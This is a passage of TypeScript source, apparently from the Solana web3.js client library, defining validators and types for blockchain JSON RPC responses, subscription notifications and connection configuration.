return;\n }\n resolve(response);\n });\n });\n };\n}\n\n/**\n * Expected JSON RPC response for the \"getInflationGovernor\" message\n */\nconst GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult);\n\n/**\n * Expected JSON RPC response for the \"getInflationRate\" message\n */\nconst GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult);\n\n/**\n * Expected JSON RPC response for the \"getRecentPrioritizationFees\" message\n */\nconst GetRecentPrioritizationFeesRpcResult = jsonRpcResult(\n GetRecentPrioritizationFeesResult,\n);\n\n/**\n * Expected JSON RPC response for the \"getEpochInfo\" message\n */\nconst GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult);\n\n/**\n * Expected JSON RPC response for the \"getEpochSchedule\" message\n */\nconst GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"getLeaderSchedule\" message\n */\nconst GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult);\n\n/**\n * Expected JSON RPC response for the \"minimumLedgerSlot\" and \"getFirstAvailableBlock\" messages\n */\nconst SlotRpcResult = jsonRpcResult(number());\n\n/**\n * Supply\n */\nexport type Supply = {\n /** Total supply in lamports */\n total: number;\n /** Circulating supply in lamports */\n circulating: number;\n /** Non-circulating supply in lamports */\n nonCirculating: number;\n /** List of non-circulating account addresses */\n nonCirculatingAccounts: Array<PublicKey>;\n};\n\n/**\n * Expected JSON RPC response for the \"getSupply\" message\n */\nconst GetSupplyRpcResult = jsonRpcResultAndContext(\n pick({\n total: number(),\n circulating: number(),\n nonCirculating: number(),\n nonCirculatingAccounts: array(PublicKeyFromString),\n }),\n);\n\n/**\n * Token amount object which returns a token amount in different formats\n * for various client use cases.\n */\nexport type TokenAmount = {\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC structure for token amounts\n */\nconst TokenAmountResult = pick({\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n});\n\n/**\n * Token address and balance.\n */\nexport type TokenAccountBalancePair = {\n /** Address of the token account */\n address: PublicKey;\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getTokenLargestAccounts\" message\n */\nconst GetTokenLargestAccountsResult = jsonRpcResultAndContext(\n array(\n pick({\n address: PublicKeyFromString,\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message\n */\nconst GetTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\nconst ParsedAccountDataResult = pick({\n program: string(),\n parsed: unknown(),\n space: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message with parsed data\n */\nconst GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedAccountDataResult,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\n/**\n * Pair of an account address and its balance\n */\nexport type AccountBalancePair = {\n address: PublicKey;\n lamports: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getLargestAccounts\" message\n */\nconst GetLargestAccountsRpcResult = jsonRpcResultAndContext(\n array(\n pick({\n lamports: number(),\n address: PublicKeyFromString,\n }),\n ),\n);\n\n/**\n * @internal\n */\nconst AccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n});\n\n/**\n * @internal\n */\nconst KeyedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\nconst ParsedOrRawAccountData = coerce(\n union([instance(Buffer), ParsedAccountDataResult]),\n union([RawAccountDataResult, ParsedAccountDataResult]),\n value => {\n if (Array.isArray(value)) {\n return create(value, BufferFromRawAccountData);\n } else {\n return value;\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedAccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedOrRawAccountData,\n rentEpoch: number(),\n});\n\nconst KeyedParsedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: ParsedAccountInfoResult,\n});\n\n/**\n * @internal\n */\nconst StakeActivationResult = pick({\n state: union([\n literal('active'),\n literal('inactive'),\n literal('activating'),\n literal('deactivating'),\n ]),\n active: number(),\n inactive: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getConfirmedSignaturesForAddress2\" message\n */\n\nconst GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getSignaturesForAddress\" message\n */\nconst GetSignaturesForAddressRpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/***\n * Expected JSON RPC response for the \"accountNotification\" message\n */\nconst AccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(AccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst ProgramAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\n/***\n * Expected JSON RPC response for the \"programNotification\" message\n */\nconst ProgramAccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(ProgramAccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst SlotInfoResult = pick({\n parent: number(),\n slot: number(),\n root: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"slotNotification\" message\n */\nconst SlotNotificationResult = pick({\n subscription: number(),\n result: SlotInfoResult,\n});\n\n/**\n * Slot updates which can be used for tracking the live progress of a cluster.\n * - `\"firstShredReceived\"`: connected node received the first shred of a block.\n * Indicates that a new block that is being produced.\n * - `\"completed\"`: connected node has received all shreds of a block. Indicates\n * a block was recently produced.\n * - `\"optimisticConfirmation\"`: block was optimistically confirmed by the\n * cluster. It is not guaranteed that an optimistic confirmation notification\n * will be sent for every finalized blocks.\n * - `\"root\"`: the connected node rooted this block.\n * - `\"createdBank\"`: the connected node has started validating this block.\n * - `\"frozen\"`: the connected node has validated this block.\n * - `\"dead\"`: the connected node failed to validate this block.\n */\nexport type SlotUpdate =\n | {\n type: 'firstShredReceived';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'completed';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'createdBank';\n slot: number;\n timestamp: number;\n parent: number;\n }\n | {\n type: 'frozen';\n slot: number;\n timestamp: number;\n stats: {\n numTransactionEntries: number;\n numSuccessfulTransactions: number;\n numFailedTransactions: number;\n maxTransactionsPerEntry: number;\n };\n }\n | {\n type: 'dead';\n slot: number;\n timestamp: number;\n err: string;\n }\n | {\n type: 'optimisticConfirmation';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'root';\n slot: number;\n timestamp: number;\n };\n\n/**\n * @internal\n */\nconst SlotUpdateResult = union([\n pick({\n type: union([\n literal('firstShredReceived'),\n literal('completed'),\n literal('optimisticConfirmation'),\n literal('root'),\n ]),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('createdBank'),\n parent: number(),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('frozen'),\n slot: number(),\n timestamp: number(),\n stats: pick({\n numTransactionEntries: number(),\n numSuccessfulTransactions: number(),\n numFailedTransactions: number(),\n maxTransactionsPerEntry: number(),\n }),\n }),\n pick({\n type: literal('dead'),\n slot: number(),\n timestamp: number(),\n err: string(),\n }),\n]);\n\n/**\n * Expected JSON RPC response for the \"slotsUpdatesNotification\" message\n */\nconst SlotUpdateNotificationResult = pick({\n subscription: number(),\n result: SlotUpdateResult,\n});\n\n/**\n * Expected JSON RPC response for the \"signatureNotification\" message\n */\nconst SignatureNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(\n union([SignatureStatusResult, SignatureReceivedResult]),\n ),\n});\n\n/**\n * Expected JSON RPC response for the \"rootNotification\" message\n */\nconst RootNotificationResult = pick({\n subscription: number(),\n result: number(),\n});\n\nconst ContactInfoResult = pick({\n pubkey: string(),\n gossip: nullable(string()),\n tpu: nullable(string()),\n rpc: nullable(string()),\n version: nullable(string()),\n});\n\nconst VoteAccountInfoResult = pick({\n votePubkey: string(),\n nodePubkey: string(),\n activatedStake: number(),\n epochVoteAccount: boolean(),\n epochCredits: array(tuple([number(), number(), number()])),\n commission: number(),\n lastVote: number(),\n rootSlot: nullable(number()),\n});\n\n/**\n * Expected JSON RPC response for the \"getVoteAccounts\" message\n */\nconst GetVoteAccounts = jsonRpcResult(\n pick({\n current: array(VoteAccountInfoResult),\n delinquent: array(VoteAccountInfoResult),\n }),\n);\n\nconst ConfirmationStatus = union([\n literal('processed'),\n literal('confirmed'),\n literal('finalized'),\n]);\n\nconst SignatureStatusResponse = pick({\n slot: number(),\n confirmations: nullable(number()),\n err: TransactionErrorResult,\n confirmationStatus: optional(ConfirmationStatus),\n});\n\n/**\n * Expected JSON RPC response for the \"getSignatureStatuses\" message\n */\nconst GetSignatureStatusesRpcResult = jsonRpcResultAndContext(\n array(nullable(SignatureStatusResponse)),\n);\n\n/**\n * Expected JSON RPC response for the \"getMinimumBalanceForRentExemption\" message\n */\nconst GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number());\n\nconst AddressTableLookupStruct = pick({\n accountKey: PublicKeyFromString,\n writableIndexes: array(number()),\n readonlyIndexes: array(number()),\n});\n\nconst ConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(string()),\n header: pick({\n numRequiredSignatures: number(),\n numReadonlySignedAccounts: number(),\n numReadonlyUnsignedAccounts: number(),\n }),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n recentBlockhash: string(),\n addressTableLookups: optional(array(AddressTableLookupStruct)),\n }),\n});\n\nconst AnnotatedAccountKey = pick({\n pubkey: PublicKeyFromString,\n signer: boolean(),\n writable: boolean(),\n source: optional(union([literal('transaction'), literal('lookupTable')])),\n});\n\nconst ConfirmedTransactionAccountsModeResult = pick({\n accountKeys: array(AnnotatedAccountKey),\n signatures: array(string()),\n});\n\nconst ParsedInstructionResult = pick({\n parsed: unknown(),\n program: string(),\n programId: PublicKeyFromString,\n});\n\nconst RawInstructionResult = pick({\n accounts: array(PublicKeyFromString),\n data: string(),\n programId: PublicKeyFromString,\n});\n\nconst InstructionResult = union([\n RawInstructionResult,\n ParsedInstructionResult,\n]);\n\nconst UnknownInstructionResult = union([\n pick({\n parsed: unknown(),\n program: string(),\n programId: string(),\n }),\n pick({\n accounts: array(string()),\n data: string(),\n programId: string(),\n }),\n]);\n\nconst ParsedOrRawInstruction = coerce(\n InstructionResult,\n UnknownInstructionResult,\n value => {\n if ('accounts' in value) {\n return create(value, RawInstructionResult);\n } else {\n return create(value, ParsedInstructionResult);\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(AnnotatedAccountKey),\n instructions: array(ParsedOrRawInstruction),\n recentBlockhash: string(),\n addressTableLookups: optional(nullable(array(AddressTableLookupStruct))),\n }),\n});\n\nconst TokenBalanceResult = pick({\n accountIndex: number(),\n mint: string(),\n owner: optional(string()),\n programId: optional(string()),\n uiTokenAmount: TokenAmountResult,\n});\n\nconst LoadedAddressesResult = pick({\n writable: array(PublicKeyFromString),\n readonly: array(PublicKeyFromString),\n});\n\n/**\n * @internal\n */\nconst ConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(ParsedOrRawInstruction),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\nconst TransactionVersionStruct = union([literal(0), literal('legacy')]);\n\n/** @internal */\nconst RewardsResult = pick({\n pubkey: string(),\n lamports: number(),\n postBalance: nullable(number()),\n rewardType: nullable(string()),\n commission: optional(nullable(number())),\n});\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message\n */\nconst GetParsedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetParsedAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetParsedNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getConfirmedBlock\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead.\n */\nconst GetConfirmedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockSignaturesRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n signatures: array(string()),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTransaction\" message\n */\nconst GetTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n meta: nullable(ConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n transaction: ConfirmedTransactionResult,\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getTransaction\" message\n */\nconst GetParsedTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getRecentBlockhash\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead.\n */\nconst GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"getLatestBlockhash\" message\n */\nconst GetLatestBlockhashRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n lastValidBlockHeight: number(),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"isBlockhashValid\" message\n */\nconst IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean());\n\nconst PerfSampleResult = pick({\n slot: number(),\n numTransactions: number(),\n numSlots: number(),\n samplePeriodSecs: number(),\n});\n\n/*\n * Expected JSON RPC response for \"getRecentPerformanceSamples\" message\n */\nconst GetRecentPerformanceSamplesRpcResult = jsonRpcResult(\n array(PerfSampleResult),\n);\n\n/**\n * Expected JSON RPC response for the \"getFeeCalculatorForBlockhash\" message\n */\nconst GetFeeCalculatorRpcResult = jsonRpcResultAndContext(\n nullable(\n pick({\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"requestAirdrop\" message\n */\nconst RequestAirdropRpcResult = jsonRpcResult(string());\n\n/**\n * Expected JSON RPC response for the \"sendTransaction\" message\n */\nconst SendTransactionRpcResult = jsonRpcResult(string());\n\n/**\n * Information about the latest slot being processed by a node\n */\nexport type SlotInfo = {\n /** Currently processing slot */\n slot: number;\n /** Parent of the current slot */\n parent: number;\n /** The root block of the current slot's fork */\n root: number;\n};\n\n/**\n * Parsed account data\n */\nexport type ParsedAccountData = {\n /** Name of the program that owns this account */\n program: string;\n /** Parsed account data */\n parsed: any;\n /** Space used by account data */\n space: number;\n};\n\n/**\n * Stake Activation data\n */\nexport type StakeActivationData = {\n /** the stake account's activation state */\n state: 'active' | 'inactive' | 'activating' | 'deactivating';\n /** stake active during the epoch */\n active: number;\n /** stake inactive during the epoch */\n inactive: number;\n};\n\n/**\n * Data slice argument for getProgramAccounts\n */\nexport type DataSlice = {\n /** offset of data slice */\n offset: number;\n /** length of data slice */\n length: number;\n};\n\n/**\n * Memory comparison filter for getProgramAccounts\n */\nexport type MemcmpFilter = {\n memcmp: {\n /** offset into program account data to start comparison */\n offset: number;\n } & (\n | {\n encoding?: 'base58'; // Base-58 is the default when not supplied.\n /** data to match, as base-58 encoded string and limited to less than 129 bytes */\n bytes: string;\n }\n | {\n encoding: 'base64';\n /** data to match, as base-64 encoded string */\n bytes: string;\n }\n );\n};\n\n/**\n * Data size comparison filter for getProgramAccounts\n */\nexport type DataSizeFilter = {\n /** Size of data for program account data length comparison */\n dataSize: number;\n};\n\n/**\n * A filter object for getProgramAccounts\n */\nexport type GetProgramAccountsFilter = MemcmpFilter | DataSizeFilter;\n\n/**\n * Configuration object for getProgramAccounts requests\n */\nexport type GetProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional encoding for account data (default base64)\n * To use \"jsonParsed\" encoding, please refer to `getParsedProgramAccounts` in connection.ts\n * */\n encoding?: 'base64';\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** wrap the result in an RpcResponse JSON object */\n withContext?: boolean;\n};\n\nexport type GetProgramAccountsResponse = readonly Readonly<{\n account: AccountInfo<Buffer>;\n /** the account Pubkey as base-58 encoded string */\n pubkey: PublicKey;\n}>[];\n\n/**\n * Configuration object for getParsedProgramAccounts\n */\nexport type GetParsedProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for getMultipleAccounts\n */\nexport type GetMultipleAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetStakeActivationConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Epoch for which to calculate activation details. If parameter not provided, defaults to current epoch */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTokenAccountsByOwnerConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTransactionCountConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonce`\n */\nexport type GetNonceConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonceAndContext`\n */\nexport type GetNonceAndContextConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\nexport type AccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n}>;\n\nexport type ProgramAccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n /**\n * Filter results using various filter objects\n * The resultant account must meet ALL filter criteria to be included in the returned results\n */\n filters?: GetProgramAccountsFilter[];\n}>;\n\n/**\n * Information describing an account\n */\nexport type AccountInfo<T> = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: PublicKey;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: T;\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\n/**\n * Account information identified by pubkey\n */\nexport type KeyedAccountInfo = {\n accountId: PublicKey;\n accountInfo: AccountInfo<Buffer>;\n};\n\n/**\n * Callback function for account change notifications\n */\nexport type AccountChangeCallback = (\n accountInfo: AccountInfo<Buffer>,\n context: Context,\n) => void;\n\n/**\n * Callback function for program account change notifications\n */\nexport type ProgramAccountChangeCallback = (\n keyedAccountInfo: KeyedAccountInfo,\n context: Context,\n) => void;\n\n/**\n * Callback function for slot change notifications\n */\nexport type SlotChangeCallback = (slotInfo: SlotInfo) => void;\n\n/**\n * Callback function for slot update notifications\n */\nexport type SlotUpdateCallback = (slotUpdate: SlotUpdate) => void;\n\n/**\n * Callback function for signature status notifications\n */\nexport type SignatureResultCallback = (\n signatureResult: SignatureResult,\n context: Context,\n) => void;\n\n/**\n * Signature status notification with transaction result\n */\nexport type SignatureStatusNotification = {\n type: 'status';\n result: SignatureResult;\n};\n\n/**\n * Signature received notification\n */\nexport type SignatureReceivedNotification = {\n type: 'received';\n};\n\n/**\n * Callback function for signature notifications\n */\nexport type SignatureSubscriptionCallback = (\n notification: SignatureStatusNotification | SignatureReceivedNotification,\n context: Context,\n) => void;\n\n/**\n * Signature subscription options\n */\nexport type SignatureSubscriptionOptions = {\n commitment?: Commitment;\n enableReceivedNotification?: boolean;\n};\n\n/**\n * Callback function for root change notifications\n */\nexport type RootChangeCallback = (root: number) => void;\n\n/**\n * @internal\n */\nconst LogsResult = pick({\n err: TransactionErrorResult,\n logs: array(string()),\n signature: string(),\n});\n\n/**\n * Logs result.\n */\nexport type Logs = {\n err: TransactionError | null;\n logs: string[];\n signature: string;\n};\n\n/**\n * Expected JSON RPC response for the \"logsNotification\" message.\n */\nconst LogsNotificationResult = pick({\n result: notificationResultAndContext(LogsResult),\n subscription: number(),\n});\n\n/**\n * Filter for log subscriptions.\n */\nexport type LogsFilter = PublicKey | 'all' | 'allWithVotes';\n\n/**\n * Callback function for log notifications.\n */\nexport type LogsCallback = (logs: Logs, ctx: Context) => void;\n\n/**\n * Signature result\n */\nexport type SignatureResult = {\n err: TransactionError | null;\n};\n\n/**\n * Transaction error\n */\nexport type TransactionError = {} | string;\n\n/**\n * Transaction confirmation status\n * <pre>\n * 'processed': Transaction landed in a block which has reached 1 confirmation by the connected node\n * 'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster\n * 'finalized': Transaction landed in a block which has been finalized by the cluster\n * </pre>\n */\nexport type TransactionConfirmationStatus =\n | 'processed'\n | 'confirmed'\n | 'finalized';\n\n/**\n * Signature status\n */\nexport type SignatureStatus = {\n /** when the transaction was processed */\n slot: number;\n /** the number of blocks that have been confirmed and voted on in the fork containing `slot` */\n confirmations: number | null;\n /** transaction error, if any */\n err: TransactionError | null;\n /** cluster confirmation status, if data available. Possible responses: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * A confirmed signature with its status\n */\nexport type ConfirmedSignatureInfo = {\n /** the transaction signature */\n signature: string;\n /** when the transaction was processed */\n slot: number;\n /** error, if any */\n err: TransactionError | null;\n /** memo associated with the transaction, if any */\n memo: string | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** Cluster confirmation status, if available. Possible values: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * An object defining headers to be passed to the RPC server\n */\nexport type HttpHeaders = {\n [header: string]: string;\n} & {\n // Prohibited headers; for internal use only.\n 'solana-client'?: never;\n};\n\n/**\n * The type of the JavaScript `fetch()` API\n */\nexport type FetchFn = typeof fetchImpl;\n\n/**\n * A callback used to augment the outgoing HTTP request\n */\nexport type FetchMiddleware = (\n info: Parameters<FetchFn>[0],\n init: Parameters<FetchFn>[1],\n fetch: (...a: Parameters<FetchFn>) => void,\n) => void;\n\n/**\n * Configuration for instantiating a Connection\n */\nexport type ConnectionConfig = {\n /**\n * An `http.Agent` that will be used to manage socket connections (eg. to implement connection\n * persistence). Set this to `false` to create a connection that uses no agent. This applies to\n * Node environments only.\n */\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false;\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional endpoint URL to the fullnode JSON RPC PubSub WebSocket Endpoint */\n wsEndpoint?: string;\n /** Optional HTTP headers object */\n httpHeaders?: HttpHeaders;\n /** Optional custom fetch function */\n fetch?: FetchFn;\n /** Optional fetch middleware callback */\n fetchMiddleware?: FetchMiddleware;\n /** Optional Disable retrying calls when server responds with HTTP 429 (Too Many Requests) */\n disableRetryOnRateLimit?: boolean;\n /** time to allow for the server to initially process a transaction (in milliseconds) */\n confirmTransactionInitialTimeout?: number;\n};\n\n/** @internal */\nconst COMMON_HTTP_HEADERS = {\n 'solana-client': `js/${process.env.npm_package_version ?? 